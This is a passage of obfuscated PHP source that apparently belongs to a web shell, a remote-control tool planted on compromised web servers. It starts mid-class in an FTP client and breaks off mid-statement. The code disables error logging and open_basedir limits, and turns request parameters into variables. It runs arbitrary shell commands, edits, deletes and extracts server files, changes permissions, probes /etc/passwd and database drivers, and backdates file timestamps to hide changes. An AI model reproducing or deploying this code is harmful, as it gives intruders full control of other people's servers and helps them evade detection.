$passive=false;var $systype=\"\";var $mode=FTP_BINARY;var $loggedOn=false;var $downloadDir=\"\";function ftp($server,$port,$user,$password,$passive=false){$this->server=$server;$this->port=$port;$this->user=$user;$this->password=$password;$this->connect();$this->setPassive($passive);}function connect(){$this->connection=@ftp_connect($this->server,$this->port);$this->loggedOn=@ftp_login($this->connection,$this->user,$this->password);$this->systype=@ftp_systype($this->connection);return;}function setPassive($passive){$this->passive=$passive;@ftp_pasv($this->connection,$this->passive);return;}function setMode($mode=1){$this->mode=$mode;return;}function setCurrentDir($dir=false){if($dir)@ftp_chdir($this->connection,$dir);$this->currentDir=z1a(@ftp_pwd($this->connection));return $this->currentDir;}function setDownloadDir($dir){$this->downloadDir=$dir;return;}function chmod($p,$f){return@ftp_site($this->connection,\"chmod $p $f\");}function cd($dir){if($dir==\"..\"){@ftp_cdup($this->connection);}else{if(!@ftp_chdir($this->connection,$this->currentDir.$dir)){@ftp_chdir($this->connection,$dir);}}$this->currentDir=z1a(@ftp_pwd($this->connection));return;}function is_dir($dir){if(@ftp_chdir($this->connection,$dir)){@ftp_chdir($this->connection,'..');return true;}else{return false;}}function get($file,$dest='',$t=0){if($dest=='')$dest=$this->downloadDir;return@ftp_get($this->connection,($t?$dest:z1a($dest).z2h($file)),\"$file\",$this->mode);}function getRecursive($src,$dest=''){if($dest=='')$dest=$this->downloadDir;$target=z2h($src);$src=z1a($src);$dest=z1a($dest).$target;if(!z4q($dest))@mkdir($dest);$list=@ftp_nlist($this->connection,$src);for($x=0;$x<@count($list);$x++){$o=z2h($list[$x]);if($o!='.'&&$o!='..'){if($this->is_dir($src.$o)){$this->getRecursive($src.$o,$dest);}else{$this->get($src.$o,$dest);}}}}function getObject($src,$dest=''){if($dest=='')$dest=$this->downloadDir;if($this->is_dir($src)){return $this->getRecursive(z1a($src),$dest);}else{return $this->get($src,$dest);}}function put($rf,$lf){return(@file_exists($lf)?@ftp_put($this->connection,$rf,$lf,$this->mode):false);}function putRecursive($src,$dest=''){if($dest=='')$dest=$this->currentDir;$target=z2h($src);$src=z1a($src);$dest=z1a($dest).$target;$this->makeDir($dest);$list=z8k($src);for($x=0;$x<@count($list);$x++){$o=z2h($list[$x]);if($o!=\".\"&&$o!=\"..\"){if(z4j($src.$o)){$this->putRecursive($src.$o,$dest);}else{$this->put(z1a($dest).$o,$src.$o);}}}}function putObject($src,$dest=''){if($dest=='')$dest=$this->currentDir;$target=z2h($src);if(z4j($src)){return $this->putRecursive($src,$dest);}else{return $this->put(z1a($dest).$target,$src);}}function deleteFile($rf){return@ftp_delete($this->connection,\"$rf\");}function deleteObject($obj){$cobj=z2h($obj);if($cobj!='.'&&$cobj!='..'){if($this->is_dir($obj)){if($list=@ftp_nlist($this->connection,\"$obj\")){for($x=0;$x<@count($list);$x++){$o=z2h($list[$x]);if($o!='.'&&$o!='..'){$this->deleteObject(z1a($obj).$o);}}}@ftp_rmdir($this->connection,\"$obj\");}else{$this->deleteFile(\"$obj\");}}}function rename($old,$new){return@ftp_rename($this->connection,\"$old\",\"$new\");}function makeDir($dir){return@ftp_mkdir($this->connection,\"$dir\");}function parseline($raw){if(@preg_match(\"\/([-dl])([rwxsStT-]{9})[ ]+([0-9]+)[ ]+([^ ]+)[ ]+(.+)[ ]+([0-9]+)[ ]+([a-zA-Z]+[ ]+[0-9]+)[ ]+([0-9:]+)[ ]+(.*)\/\",$raw,$m)){$l=array(($m[1]=='d'?'d':($m[1]=='l'?'l':'f')),$m[9],$m[6]);}elseif(@preg_match(\"\/([-dl])([rwxsStT-]{9})[ ]+(.*)[ ]+([a-zA-Z0-9 ]+)[ ]+([0-9:]+)[ ]+(.*)\/\",$raw,$m)){$l=array(($m[1]=='d'?'d':($m[1]=='l'?'l':'f')),$m[6],$m[3]);}elseif(@preg_match(\"\/([0-9\\\\\/-]+)[ ]+([0-9:AMP]+)[ ]+([0-9]*|<DIR>)[ ]+(.*)\/\",$raw,$m)){$l=array(($m[3]==\"<DIR>\"?'d':'f'),$m[4],$m[3]);}elseif(@preg_match(\"\/([-]|[d])[ ]+(.{10})[ ]+([^ ]+)[ ]+([0-9]*)[ ]+([a-zA-Z]*[ ]+[0-9]*)[ ]+([0-9:]*)[ ]+(.*)\/\",$raw,$m)){$l=array(($m[1]=='d'?'d':'f'),$m[7],$m[4]);}elseif(@preg_match(\"\/([a-zA-Z0-9_-]+)[ ]+([0-9]+)[ ]+([0-9\\\\\/-]+)[ ]+([0-9:]+)[ ]+([a-zA-Z0-9_ -\\*]+)[ \\\\\/]+([^\\\\\/]+)\/\",$raw,$m)){$l=array(($m[5]==\"*STMF\"?'f':'d'),$m[6],$m[2]);}elseif(@preg_match(\"\/([-dl])([rwxsStT-]{9})[ ]+([0-9]+)[ ]+([a-zA-Z0-9]+)[ ]+([a-zA-Z0-9]+)[ ]+([0-9]+)[ ]+([a-zA-Z]+[ ]+[0-9]+)[ ]+([0-9:]+)[ ](.*)\/\",$raw,$m)){$l=array(($m[1]=='d'?'d':($m[1]=='l'?'l':'f')),$m[9],$m[6]);}else{$l=array();}if(!@isset($l[1])||$l[1]==\".\"||$l[1]==\"..\"||@substr($raw,0,5)==\"total\")return array();return $l;}function ftpRawList($dir=''){if($dir=='')$dir=$this->currentDir;$files=array();$list=@ftp_rawlist($this->connection,\"-a \".$dir);if(@is_array($list)){$i=0;foreach($list as $raw){$line=$this->parseline($raw);if(@count($line)==3){$files[$i]=$line;$i++;}}}return $files;}}if(@version_compare(@phpversion(),'4.1.0')==-1){$_POST=&$HTTP_POST_VARS;$_GET=&$HTTP_GET_VARS;$_SERVER=&$HTTP_SERVER_VARS;$_COOKIE=&$HTTP_COOKIE_VARS;}if(@isset($_GET['act'])&&$_GET['act']==\"i\"){$img=$_GET['img'];if(!@isset($_GET['getall'])){$img=@str_replace(\"~\",\"\",$img);foreach($index as $k=>$v){if(@in_array($img,$v)){$img=$k;break;}}if(@empty($images[$img])){if(@isset($_GET['exe'])&&$_GET['exe'])$img=\"cmd\";}@ob_start();$len=@strlen($image);@header(\"Cache-control: public\");@header(\"Expires: \".@date(\"r\",@mktime(0,0,0,1,1,2030)));@header(\"Cache-control: max-age=\".(60*60*24*7));@header('Last-Modified: '.@date('r'));@header('Accept-Ranges: bytes');@header('Content-Length: '.$len);@header('Content-type: image\/png');echo $image;@ob_end_flush();}else{z3l();$r='';foreach($index as $a=>$b){foreach($b as $d){if($a!=$d){if(@isset($images[$d])&&!@empty($images[$d])){$r.=z7i(z9j(\"Remove \\$images[\".$d.\"]\"));}}}}if($r!='')echo z10e($r);@natsort($images);$k=@array_keys($images);$n=1;$r='';foreach($k as $u)$r.=z7i(z9j(($n++)).z9j($u).z9j('<img alt=\"\" src=\"?act=i&img='.$u.'\" border=\"0\">'));echo z10e($r);z3x();}exit();}if(@function_exists('error_reporting')){@error_reporting(0);}if(@function_exists('ini_set')){@ini_set('display_errors',0);@ini_set('error_log',NULL);@ini_set('log_errors',0);@ini_set('file_uploads',1);@ini_set('assert.quiet_eval',0);@ini_set('allow_url_fopen',1);@ini_set('memory_limit','256M');@ini_set('upload_max_filesize','256M');@ini_set('register_globals',0);@ini_set('open_basedir',NULL);}elseif(function_exists('ini_alter')){@ini_alter('display_errors',0);@ini_alter('error_log',NULL);@ini_alter('log_errors',0);@ini_alter('file_uploads',1);@ini_alter('allow_url_fopen',1);@ini_alter('memory_limit','256M');@ini_alter('upload_max_filesize','256M');@ini_alter('register_globals',0);@ini_alter('open_basedir',NULL);}if(@function_exists('set_time_limit')){@set_time_limit(0);}elseif(@function_exists('ini_set')){@ini_set('max_execution_time',300);}elseif(function_exists('ini_alter')){@ini_alter('max_execution_time',300);}if(@function_exists('set_magic_quotes_runtime')){@set_magic_quotes_runtime(0);}if(@function_exists('get_magic_quotes_gpc'))if(get_magic_quotes_gpc()){if(@isset($_FILES)&&@count($_FILES)>0){z3y($_FILES);}z4h($GLOBALS);}@session_start();@ob_start();define(\"start\",z10r());if(@isset($_SESSION['tmps'])){$tmps=$_SESSION['tmps'];}else{$tmps=z6k();$_SESSION['tmps']=$tmps;}$tempdir=$tmps[0];foreach($_POST as $postk=>$postv){if(@substr($postk,0,6)==\"backf_\"){$postk=@substr($postk,6);$postv=@urldecode($postv);}if($postk=='merged'){parse_str(base64_decode($postv),$ar_merged);if(@count($ar_merged)>0){foreach($ar_merged as $kkey=>$kval){if(!@isset(${$kkey})){${$kkey}=@urldecode($kval);}}}}else{if(!@isset(${$postk})){${$postk}=$postv;}}}foreach($_GET as $k=>$v){if(!@isset(${$k})){${$k}=@urldecode($v);}}if(!@isset($act))$act=z7x('2','default_act');if($act==\"logout\")z4y();z4g();$win=$nix=$linux=0;$os=z9a();if(@preg_match(\"\/^win\/i\",$os)){$win=1;}else{$nix=1;if(@preg_match(\"\/linux\/i\",$os))$linux=1;}$sh_exec=$safe_exec=0;$test_cmd=z9t(\"echo z_testexec\");if(@strpos($test_cmd,\"exec\")===6){$sh_exec=1;}elseif($nix&&@preg_match('\/successfully executed\/',$test_cmd)){$safe_exec=1;}$cuser=z5k();$saddr=(@isset($_SERVER['SERVER_ADDR'])?$_SERVER['SERVER_ADDR']:(@isset($_SERVER['SERVER_NAME'])?$_SERVER['SERVER_NAME']:'127.0.0.1'));$yaddr=$_SERVER[\"REMOTE_ADDR\"];$bsafe=((!z7r('ini_get')||z8l('safe_mode')||!$sh_exec)?1:0);$bopendir=(@count(z9d(@ini_get('open_basedir')))>0?1:0);$a_sql=array();$bmysql=z7r(\"mysql_connect\");if($bmysql)$a_sql[]=\"MySQL\";$bmssql=z7r(\"mssql_connect\");if($bmssql)$a_sql[]=\"MsSQL\";$boracle=z7r(\"ocilogon\");if($boracle)$a_sql[]=\"Oracle\";$bpostgres=z7r(\"pg_connect\");if($bpostgres)$a_sql[]=\"PostgreSQL\";$bpasswd=0;if($nix){if(z0n(\"\/etc\/passwd\"))$bpasswd=1;}$bcurl=(@extension_loaded('curl')&&z7r(\"curl_init\"));$bfsock=z7r(\"fsockopen\");$bftp=(z7r(\"ftp_connect\")&&z7r(\"ftp_login\"));$bmail=z7r(\"mail\");$bziparchive=(z7r(\"class_exists\")&&@class_exists(\"ZipArchive\"));$dtotal=$dused=$dfree='0B';if($act==\"d\"){if(@isset($dt)){$dt=@trim($dt);if(!@empty($dt)){switch($dt){case 'new':if(!z4j($d)){@mkdir($d);}$act=\"ls\";break;case 'chdir':if(@isset($tt)&&z4j($tt)){$d=$tt;}$act=\"ls\";break;case 'rename':if(@isset($tt)&&z4j($tt)){if(@isset($drename)&&$drename&&@isset($newname)&&!@empty($newname)){if(z3p($newname)=='.\/'){$newname=z3p($tt).z2h($newname);}elseif(!z4q(z3p($newname))){$newname=z3p($tt).$newname;}if(z4q($newname)&&z4j($newname)){$newname=z1a($newname).z2h($tt);}$rendirmsg=z2b((@rename($tt,$newname)?z9s(\"474\",$newname):z9s(\"475\",$tt)),'0');}else{$showrename1=1;}}$act=\"ls\";break;case 'delete':if(z4q($tt)){z8d($tt);}$act=\"ls\";break;case 'functions':if(@isset($tt)&&z4j($tt)){$d=$tt;}$act=\"dfunc\";break;case 'bcopy':if(@isset($tt)&&z4j($tt)){$abuf=$dt;}$act=\"ls\";break;case 'bcut':if(@isset($tt)&&z4j($tt)){$abuf=$dt;}$act=\"ls\";break;case 'bpastecopy':$abuf=$dt;if(@isset($tt)&&z4j($tt)){$d=$tt;}$act=\"ls\";break;case 'bpastecut':$abuf=$dt;if(@isset($tt)&&z4j($tt)){$d=$tt;}$act=\"ls\";break;case 'bpasteall':$abuf=$dt;if(@isset($tt)&&z4j($tt)){$d=$tt;}$act=\"ls\";break;default:break;}}}}if(!@isset($d)||@empty($d)){$d=@realpath(@dirname(__FILE__));}elseif(@realpath($d)){$d=@realpath($d);}elseif(@isset($dold)&&@realpath(z1a($dold).$d)){$d=@realpath(z1a($dold).$d);}if(@empty($d))$d=@getcwd();$d=z1a($d);@chdir($d);if(z7r('disk_free_space')&&z7r('disk_total_space')){$free=@disk_free_space($d);$total=@disk_total_space($d);if($free===false)$free=0;if($total===false)$total=0;if($free<0)$free=0;if($total<0)$total=0;$dfree=@str_replace(\" \",\"\",z7c($free));$dtotal=@str_replace(\" \",\"\",z7c($total));$dused=@str_replace(\" \",\"\",z7c(($total-$free)));}$a_buf=array('bcopy','bcut');$b_buf=array('bpastecopy','bpastecut','bpasteall');if(!@isset($use_buffer)){if(@isset($_SESSION['use_buffer'])){$use_buffer=$_SESSION['use_buffer'];}else{$use_buffer=z7x('4');}}else{$use_buffer=(bool)(int)$use_buffer;if(!$use_buffer)z0a();}$_SESSION['use_buffer']=$use_buffer;if($nix&&$sh_exec){if(!@isset($cmd_tar)){if(@isset($_SESSION['cmd_tar'])){$cmd_tar=$_SESSION['cmd_tar'];}else{$cmd_tar=z8u(\"tar\");}}$_SESSION['cmd_tar']=$cmd_tar;if(!@isset($cmd_unrar)){if(@isset($_SESSION['cmd_unrar'])){$cmd_unrar=$_SESSION['cmd_unrar'];}else{$cmd_unrar=z8u(\"unrar\");}}$_SESSION['cmd_unrar']=$cmd_unrar;if(!@isset($cmd_unzip)){if(@isset($_SESSION['cmd_unzip'])){$cmd_unzip=$_SESSION['cmd_unzip'];}else{$cmd_unzip=z8u(\"unzip\");}}$_SESSION['cmd_unzip']=$cmd_unzip;if(!@isset($cmd_gunzip)){if(@isset($_SESSION['cmd_gunzip'])){$cmd_gunzip=$_SESSION['cmd_gunzip'];}else{$cmd_gunzip=z8u(\"gunzip\");}}$_SESSION['cmd_gunzip']=$cmd_gunzip;if(!@isset($cmd_bunzip2)){if(@isset($_SESSION['cmd_bunzip2'])){$cmd_bunzip2=$_SESSION['cmd_bunzip2'];}else{$cmd_bunzip2=z8u(\"bunzip2\");}}$_SESSION['cmd_bunzip2']=$cmd_bunzip2;if(!@isset($reg_archives)){if(@isset($_SESSION['reg_archives'])){$reg_archives=$_SESSION['reg_archives'];}else{$reg_archives='';if(!@empty($cmd_unrar))$reg_archives.=\"rar|\";if(!@empty($cmd_unzip))$reg_archives.=\"zip|\";if(!@empty($cmd_tar)&&!@empty($cmd_gunzip))$reg_archives.=\"tar.gz|tgz|\";if(!@empty($cmd_tar)&&!@empty($cmd_bunzip2))$reg_archives.=\"tar.bz2|\";if(!@empty($cmd_tar))$reg_archives.=\"tar|\";if(!@empty($cmd_gunzip))$reg_archives.=\"gz|\";if(!@empty($cmd_bunzip2))$reg_archives.=\"bz2|\";if(!@empty($reg_archives))$reg_archives=@substr($reg_archives,0,(@strlen($reg_archives)-1));}}$_SESSION['reg_archives']=$reg_archives;}if($bziparchive){if(!@isset($reg_archives)){if(@isset($_SESSION['reg_archives'])){$reg_archives=$_SESSION['reg_archives'];if(@empty($reg_archives)){$reg_archives=\"zip\";}else{$r_e=@explode(\"|\",$reg_archives);if(!@in_array(\"zip\",$r_e))$reg_archives.=\"|zip\";}}else{$reg_archives='zip';}}$_SESSION['reg_archives']=$reg_archives;}if(!@isset($color_skin)){if(@isset($_SESSION['color_skin'])){$color_skin=$_SESSION['color_skin'];}else{$color_skin=z7x('5','default_skin');}}$_SESSION['color_skin']=$color_skin;if(!@isset($use_images)){if(@isset($_SESSION['use_images'])){$use_images=$_SESSION['use_images'];}else{$use_images=z7x('5','images');}}else{$use_images=(bool)(int)$use_images;}$_SESSION['use_images']=$use_images;if($use_buffer){if($act==\"f\"&&@in_array($ft,$a_buf)){$act='ls';$abuf=$ft;$f=$d.$f;}if(@isset($emptybuf)&&$emptybuf)z0a();z1g();if(@isset($abuf)&&@in_array($abuf,$a_buf)){if(@isset($tt))z1l($tt,$abuf);if(@isset($f))z1l($f,$abuf);}elseif(@isset($abuf)&&@in_array($abuf,$b_buf)){switch($abuf){case 'bpastecopy':if(@isset($bcopy)&&@is_array($bcopy)&&@count($bcopy)>0){foreach($bcopy as $tcf){if(z4q($tcf))z7b($tcf,(z4j($tcf)?z1a($d).z2h($tcf):z1a($d)));}}break;case 'bpastecut':if(@isset($bcut)&&@is_array($bcut)&&@count($bcut)>0){foreach($bcut as $tcf){if(z4q($tcf))z8a($tcf,z1a($d).(z4j($tcf)?z2h($tcf):''));z1l($tcf,\"bcut\");}}break;case 'bpasteall':if(@isset($bcopy)&&@is_array($bcopy)&&@count($bcopy)>0){foreach($bcopy as $tcf){if(z4q($tcf))z7b($tcf,z1a($d).(z4j($tcf)?z2h($tcf):''));}}if(@isset($bcut)&&@is_array($bcut)&&@count($bcut)>0){foreach($bcut as $tcf){if(z4q($tcf))z8a($tcf,z1a($d).(z4j($tcf)?z2h($tcf):''));z1l($tcf,\"bcut\");}}break;default:break;}}z1w();if(@isset($showbuf)&&$showbuf){$ls_a=@array_merge($bcopy,$bcut);}}z3l();z3b();z0s();if($act==\"f\"&&@isset($ft)&&($ft==\"extract\"||$ft==\"extractzip\")){$ff='';if(z4q($d.$f)){$ff=$d.$f;}elseif(z4q($f)){$d=z3p($f);$f=z2h($f);$ff=$d.$f;}if(@isset($reg_archives)&&$reg_archives!=''&&@isset($ff)){if(@preg_match('\/\\.('.$reg_archives.')$\/i',$f,$m)){if(@isset($m[1])){if($ft==\"extract\"&&$sh_exec){switch(@strtolower($m[1])){case 'rar':z9t(\"unrar x $ff\");break;case 'zip':z9t(\"unzip $ff\");break;case 'tar.bz2':z9t(\"tar jxf $ff\");break;case 'tar.gz':z9t(\"tar zxf $ff\");break;case 'tgz':z9t(\"tar zxf $ff\");break;case 'tar':z9t(\"tar xf $ff\");break;case 'gz':z9t(\"gunzip $ff\");break;case 'bz2':z9t(\"bunzip2 $ff\");break;default:break;}}elseif($ft==\"extractzip\"){echo z2b((z0j($ff,$d)?z9s(\"476\",$f):z9s(\"477\",$f)),'0');}}}}$act=\"ls\";}if(@isset($rendirmsg)&&!@empty($rendirmsg))echo $rendirmsg;if(@isset($showrename1)&&$showrename1){echo z2b(z5c(array(\"act\"=>\"d\",\"d\",\"dt\"=>\"rename\",\"tt\",\"drename\"=>\"1\"),z10e(z7i(z6x(z8e(z9s(\"473\",z2h($tt))).z5u(\"newname\",$tt,\"9\").z8v(z9s(\"73\"),\"7\"))),\"2\")),'0');}if($act==\"f\"&&@isset($ft)&&$ft==\"rename\"&&@isset($f)&&!@empty($f)){if(@isset($frename)&&$frename&&@isset($newname)&&!@empty($newname)){if(z3p($newname)=='.\/'){$newname=z3p($ff).z2h($newname);}elseif(!z4q(z3p($newname))){$newname=z3p($ff).$newname;}if(z4q($newname)&&z4j($newname)){$newname=z1a($newname).z2h($ff);}echo z2b((@rename($ff,$newname)?z9s(\"474\",$newname):z9s(\"475\",$ff)),'0');}else{if(!isset($ff)){if(z4q($d.$f)){$ff=$d.$f;}elseif(z4q($f)){$ff=$f;}}echo z2b(z5c(array(\"act\"=>\"f\",\"f\",\"d\",\"ft\"=>\"rename\",\"ff\",\"frename\"=>\"1\"),z10e(z7i(z6x(z8e(z9s(\"473\",z2h($ff))).z5u(\"newname\",$ff,\"9\").z8v(z9s(\"73\"),\"7\"))),\"2\")),'0');}$act=\"ls\";}elseif($act==\"f\"&&@isset($ft)&&$ft==\"delete\"&&@isset($f)&&!@empty($f)){$ff='';if(z4q($d.$f)){$ff=$d.$f;}elseif(z4q($f)){$ff=$f;}if(z4q($ff))z8d($ff);$act=\"ls\";}if(($act==\"dfunc\"||$act==\"f\")&&((@isset($st1)&&$st1)||@isset($st2)&&$st2)){if($act==\"dfunc\"){$touch=$d;}else{$touch=$f;}if(@isset($st2)&&$st2&&!@empty($touch)&&z4q($touch)&&@isset($tmonth)&&!@empty($tmonth)&&@isset($tday)&&!@empty($tday)&&@isset($tyear)&&!@empty($tyear)&&@isset($thour)&&!@empty($thour)&&@isset($tmin)&&!@empty($tmin)&&@isset($tsec)&&!@empty($tsec)){$sdate=$tday.\" \".$tmonth.\" \".$tyear.\" \".$thour.\" hours \".$tmin.\" minutes \".$tsec.\" seconds\";$tdate=@strtotime($sdate);if(@touch($touch,$tdate,$tdate)){$tmsg=z9s(\"113\",@date(\"M-d-Y H:i:s\",$tdate));}else{$tmsg=z9s(\"114\");}}if(@isset($st1)&&$st1&&z4q($touch)&&@isset($copy_from)&&!@empty($copy_from)&&z4q($copy_from)){if(@touch($touch,@filemtime($copy_from),@filemtime($copy_from))){$tmsg=z9s(\"113\",@date(\"M-d-Y H:i:s\",@filemtime($copy_from)));}else{$tmsg=z9s(\"114\");}}}if(@isset($chmod_submit)&&$chmod_submit&&@isset($ctarget)){if(@isset($chmod_val)){@chmod($ctarget,@octdec($chmod_val));}else{$octet=\"0\".@base_convert(($chmod_o[\"r\"]?\"1\":\"0\").($chmod_o[\"w\"]?\"1\":\"0\").($chmod_o[\"x\"]?\"1\":\"0\").($chmod_g[\"r\"]?\"1\":\"0\").($chmod_g[\"w\"]?\"1\":\"0\").($chmod_g[\"x\"]?\"1\":\"0\").($chmod_w[\"r\"]?\"1\":\"0\").($chmod_w[\"w\"]?\"1\":\"0\").($chmod_w[\"x\"]?\"1\":\"0\"),2,8);@chmod($ctarget,@octdec($octet));}if(z7r('clearstatcache'))@clearstatcache();}z8j();if($act==\"dfunc\"){z2z();z1q($d,0,1);if(z7r('touch')){z2v();echo z2b(z9s(\"124\").z9c().z4p($d));echo z10e(z5n().(@isset($tmsg)&&!@empty($tmsg)?z7i(z5t(z9c()).z9j($tmsg)):'').z7i(z5c(array(\"act\",\"d\",\"st1\"=>\"1\"),z5t(z9s(\"104\")).z9j(z5u(\"copy_from\",\"\",\"9\").z8v(z9s(\"112\"),\"7\")))).z7i(z5c(array(\"act\",\"d\",\"st2\"=>\"1\"),z5t(z9s(\"105\")).z9j(z4a(\"tmonth\",$tmonth_arr,\"4\",1).\"-\".z4a(\"tday\",$tday_arr,\"4\",1).\"-\".z4a(\"tyear\",$tyear_arr,\"4\",1).z9c(12).z4a(\"thour\",$thour_arr,\"1\",1).\":\".z4a(\"tmin\",$tmin_arr,\"1\",1).\":\".z4a(\"tsec\",$tsec_arr,\"1\",1).z8v(z9s(\"112\"),\"7\")))).z5n(),\"2\");}}if($act==\"f\"&&@isset($ft)){$ft=@trim($ft);if(@empty($ft))$act=\"ls\";}if($act==\"f\"){if(!@isset($f))$f='';if(!@isset($ft))$ft='';if(@isset($readfile)){$d=z3p($readfile);$f=z2h($readfile);}elseif(@isset($writefile)){$d=z3p($writefile);$f=z2h($writefile);}elseif($f!=''){$f0=@substr($f,0,1);$f1=@substr($f,1,1);if($f0==\"\/\"||$f1==\":\"){$d=z3p($f);$f=z2h($f);}}$fmsg='';if(!z4e($d.$f)&&z4e($f)){$d=z3p($f);$f=z2h($f);}elseif(z1a($f)==z1a($d)){$f='';$fmsg=z9s(\"472\");}elseif(z3p($f)==z1a($d)){$f=z2h($f);}z2z();if((!z4j($d.$f)&&z0n($d.$f))||(!z4q($d.$f)&&z0v($d)&&@isset($ft)&&$ft==\"new\")){$ext=@strtolower(z2h($f,'.'));$rft=z4x($f);if(@preg_match(\"\/sess_(.*)\/\",$f)){$rft=\"sess\";}if(!@isset($ft)||@empty($ft)){$ft=$rft;}if($ft==\"new\"){z9y($d.$f,\"\");$ft=\"edit\";}if($ft==\"rcown\"){$rcmsg=\" \".(z2q($d.$f)?z5i(z9s(\"290\")):z8z(z9s(\"291\")));$ft=\"code\";}if(@empty($ft))$ft='functions';echo z2b(z9s(\"78\").z9c().($use_images?'<img src=\"?act=i&amp;img='.$ext.'\"> ':'').z4p($d.$f.\" (\".z7c(@filesize($d.$f)).\")\").(@isset($rcmsg)?$rcmsg:''));z2j();if(($ft!='functions'||($ft=='functions'&&@isset($submit_encode)))&&$ft!='ini')$r=z9p($d.$f);switch($ft){case 'functions':echo z2b(z9s(\"90\"));echo z6d();$encode_functions=z0x();echo z9m('2').z9l().z9b(\"d\").z9b(\"act\",\"f\").z9b(\"f\").z9b(\"ft\",\"functions\").z9b(\"submit_encode\",\"1\").z7i(z5t(z9s(\"91\")).z9j(z4a(\"encode_selected\",$encode_functions,\"0\",1,'9').z8v(z9s(\"92\"),'7'))).z9z();$encoder_output=\"\";if(@isset($submit_encode)&&$submit_encode){$encoder_output=$encode_selected($r);echo z9f(z5t(z9s(\"102\")).z9j(z5w('','1').@htmlspecialchars($encoder_output).z5q()));}echo z10w();echo z6d();z1q($d.$f);if(z7r('touch')){z2v();echo z2b(z9s(\"103\"));echo z10e(z5n().(@isset($tmsg)&&!@empty($tmsg)?z7i(z5t(z9c()).z9j($tmsg)):'').z7i(z5c(array(\"act\",\"d\",\"f\",\"ft\"=>\"functions\",\"st1\"=>\"1\"),z5t(z9s(\"104\")).z9j(z5u(\"copy_from\",\"\",\"9\").z8v(z9s(\"112\"),\"7\")))).z7i(z5c(array(\"act\",\"d\",\"f\",\"ft\"=>\"functions\",\"st2\"=>\"1\"),z5t(z9s(\"105\")).z9j(z4a(\"tmonth\",$tmonth_arr,\"4\",1).\"-\".z4a(\"tday\",$tday_arr,\"4\",1).\"-\".z4a(\"tyear\",$tyear_arr,\"4\",1).z9c(12).z4a(\"thour\",$thour_arr,\"1\",1).\":\".z4a(\"tmin\",$tmin_arr,\"1\",1).\":\".z4a(\"tsec\",$tsec_arr,\"1\",1).z8v(z9s(\"112\"),\"7\")))).z5n(),\"2\");}break;case 'edit':$msg=\"\";if(@isset($save)&&$save){$msg=(z9y($d.$f,$txtedit)?z9s(\"243\"):z9s(\"450\"));$r=z9p($d.$f);}echo z5c(array(\"act\"=>\"f\",\"d\",\"f\",\"ft\"=>\"edit\",\"save\"=>\"1\"),z10e(z9f(z6x(z5w('txtedit','2').@htmlspecialchars($r).z5q().z9x().z5x(\"left\",\"3\").z8e(z9s(\"115\")).'<input type=\"text\" id=\"replace_a\" class=\"'.z4m('5','4').'\">'.z9c(5).z8e(z9s(\"116\")).'<input type=\"text\" id=\"replace_b\" class=\"'.z4m('5','4').'\">'.z8m(z9s(\"117\"),'fnc_replace(\\'txtedit\\',\\'replace_a\\',\\'replace_b\\');',\"7\").'<input type=\"reset\" value=\"'.z9s(\"118\").'\" class=\"'.z4m('7','5').'\">'.z8v(z9s(\"119\"),\"7\").z9c().z8e($msg).z5j())),\"2\"));echo z6d();break;case 'text':echo z10e(z9f(z6x('<pre>'.@htmlspecialchars($r).'<\/pre>')),'2');break;case 'web':$url=z8o();$url_a=@parse_url($url);if(@isset($url_a[\"host\"])){$host=$url_a[\"host\"];if(($wwwdir=z3k())!==false){if(@strstr($d.$f,$wwwdir)!==false){$link=\"http:\/\/\".$host.\"\/\".@substr($d.$f,@strlen($wwwdir));echo z10e(z9f(z6x('<iframe border=\"0\" class=\"iframe\" src=\"'.$link.'\">'.z9s(\"471\").'<\/iframe>')).z5n(),'2');}}}break;case 'html':if(@isset($white)&&$white){@ob_clean();echo $r;@exit();}else{echo z10e(z9f(z6x('<iframe border=\"0\" class=\"iframe\" src=\"?act=f&amp;f='.@urlencode($f).'&amp;d='.@urlencode($d).'&white=1&ft=html\">'.z9s(\"471\").'<\/iframe>')).z5n(),'2');}break;case 'htmls':if(@isset($white)&&$white){$r=@preg_replace('#\\b(on(?<!\\.on)[a-z]{2,20})\\s*=\\s*([\\\\\\'\"])?((?(2)(?(?<=\")[^\"]{1,1000}|[^\\\\\\']{1,1000})|[^\\s\"\\\\\\'>]{1,1000}))(?(2)\\\\2|)#i','',$r);$r=@preg_replace('#(<script[^>]*>.*?<\/script>|<[\/]*noscript>|<meta\\s(.*?)>)#is','',$r);$r=@preg_replace('#\\b(href(?<!\\.))\\s*=\\s*([\\\\\\'\"])?javascript:#i','href=\\\\2#javascript:',$r);@ob_clean();echo $r;@exit();}else{echo z10e(z9f(z6x('<iframe border=\"0\" class=\"iframe\" src=\"?act=f&amp;f='.@urlencode($f).'&amp;d='.@urlencode($d).'&white=1&ft=htmls\">'.z9s(\"471\").'<\/iframe>')).z5n(),'2');}break;case 'code':echo z6z('','2').z7p().z6w();z1x($r,$ext);echo z7g().z7u().z10w();break;case 'exe':if(!@isset($ecmd)){$ext=z2h($f,'.');$ecmd=$d.$f;foreach($execaliases as $ek=>$ev){if(@in_array(@strtolower($ext),$ev)){$ecmd=@str_replace(\"%f%\",$ecmd,$ek);break;}}}echo z5c(array(\"act\"=>\"f\",\"ft\"=>\"exe\",\"d\",\"f\",\"exec\"=>\"1\"),z10e(z5n().z7i(z6x(z8e(z9s(\"120\")).z5u('ecmd','',\"9\").z8v(z9s(\"99\"),\"7\"))).z5n(),\"2\"));if(@isset($exec)&&$exec&&!@empty($ecmd)){echo z9m(\"2\").z6g().z6w().z5w('',\"1\");$res=z9t($ecmd);echo $res;echo z5q().z7g().z7u().z5n().z10w();}break;case 'sess':echo z6z('','2').z7p().z6w().'<pre>';$e=@explode('|',$r);echo $e[0].z9x();@var_dump(@unserialize($e[1]));echo '<\/pre>';echo '<\/pre>'.z7g().z7u().z10w();break;case 'ini':echo z6z('','2').z7p().z6w().'<pre>';@var_dump(@parse_ini_file($d.$f,true));echo '<\/pre>'.z7g().z7u().z10w();break;case 'sdb':echo z6z('','2').z7p().z6w().'<pre>';@var_dump(@unserialize(@base64_decode($r)));echo '<\/pre>'.z7g().z7u().z10w();break;case 'img':if(!@isset($is))$is=50;$inf=@getimagesize($d.$f);if(@isset($inf[0])&&@isset($inf[1])&&@isset($inf['mime'])){$w=$inf[0]\/100*$is;$h=$inf[1]\/100*$is;$mime=$inf[\"mime\"];}else{$w=$h=$t='';if(@preg_match('\/(jpg|jpeg|gif|png)\/i',$r,$m))$t=($m[1]==='jpeg')?'jpg':$m[1];$mime='image\/'.@strtolower($t);}if(!@isset($white)||!$white){echo z5x(\"center\").z9x();if($w!=''){foreach(array('20','50','100','150','200')as $v)echo 